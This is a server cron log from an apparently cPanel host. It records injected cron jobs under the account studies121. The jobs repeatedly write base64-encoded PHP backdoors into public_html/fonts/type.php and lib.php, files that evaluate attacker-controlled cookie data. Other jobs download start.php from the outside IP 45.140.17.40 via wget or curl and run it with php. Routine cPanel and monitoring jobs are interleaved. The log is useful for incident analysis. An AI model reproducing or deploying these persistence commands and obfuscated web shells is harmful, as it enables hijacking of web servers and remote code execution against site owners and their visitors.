Sep  4 19:16:01 ip-184-168-122-23 CROND[8493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:16:01 ip-184-168-122-23 CROND[8495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:16:01 ip-184-168-122-23 CROND[8497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:16:01 ip-184-168-122-23 CROND[8496]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 19:16:01 ip-184-168-122-23 CROND[8492]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:16:01 ip-184-168-122-23 CROND[8494]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 19:17:01 ip-184-168-122-23 CROND[8673]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:17:01 ip-184-168-122-23 CROND[8672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:17:01 ip-184-168-122-23 CROND[8671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:17:01 ip-184-168-122-23 CROND[8674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:18:01 ip-184-168-122-23 CROND[8749]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:18:01 ip-184-168-122-23 CROND[8750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:18:01 ip-184-168-122-23 CROND[8753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:18:01 ip-184-168-122-23 CROND[8752]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 19:18:01 ip-184-168-122-23 CROND[8755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:19:01 ip-184-168-122-23 CROND[8833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:19:01 ip-184-168-122-23 CROND[8837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:19:01 ip-184-168-122-23 CROND[8835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:19:01 ip-184-168-122-23 CROND[8836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:20:02 ip-184-168-122-23 CROND[8935]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 19:20:02 ip-184-168-122-23 CROND[8936]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 19:20:02 ip-184-168-122-23 CROND[8942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:20:02 ip-184-168-122-23 CROND[8941]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 19:20:02 ip-184-168-122-23 CROND[8940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:20:02 ip-184-168-122-23 CROND[8939]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 19:20:02 ip-184-168-122-23 CROND[8947]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 19:20:02 ip-184-168-122-23 CROND[8944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:20:02 ip-184-168-122-23 CROND[8948]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:21:01 ip-184-168-122-23 CROND[9040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:21:01 ip-184-168-122-23 CROND[9041]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:21:01 ip-184-168-122-23 CROND[9042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:21:01 ip-184-168-122-23 CROND[9045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:22:01 ip-184-168-122-23 CROND[9201]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:22:01 ip-184-168-122-23 CROND[9203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:22:01 ip-184-168-122-23 CROND[9206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:22:01 ip-184-168-122-23 CROND[9205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:22:01 ip-184-168-122-23 CROND[9204]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 19:23:01 ip-184-168-122-23 CROND[9307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:23:01 ip-184-168-122-23 CROND[9308]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:23:01 ip-184-168-122-23 CROND[9309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:23:01 ip-184-168-122-23 CROND[9310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:24:01 ip-184-168-122-23 CROND[9392]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:24:01 ip-184-168-122-23 CROND[9394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:24:01 ip-184-168-122-23 CROND[9396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:24:01 ip-184-168-122-23 CROND[9397]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 19:24:01 ip-184-168-122-23 CROND[9395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:25:01 ip-184-168-122-23 CROND[9484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:25:01 ip-184-168-122-23 CROND[9486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:25:01 ip-184-168-122-23 CROND[9488]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 19:25:01 ip-184-168-122-23 CROND[9490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:25:01 ip-184-168-122-23 CROND[9491]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:25:01 ip-184-168-122-23 CROND[9492]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 19:26:01 ip-184-168-122-23 CROND[9576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:26:01 ip-184-168-122-23 CROND[9578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:26:01 ip-184-168-122-23 CROND[9577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:26:01 ip-184-168-122-23 CROND[9580]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 19:26:01 ip-184-168-122-23 CROND[9579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:27:01 ip-184-168-122-23 CROND[9674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:27:01 ip-184-168-122-23 CROND[9675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:27:01 ip-184-168-122-23 CROND[9677]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:27:01 ip-184-168-122-23 CROND[9676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:28:01 ip-184-168-122-23 CROND[9838]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
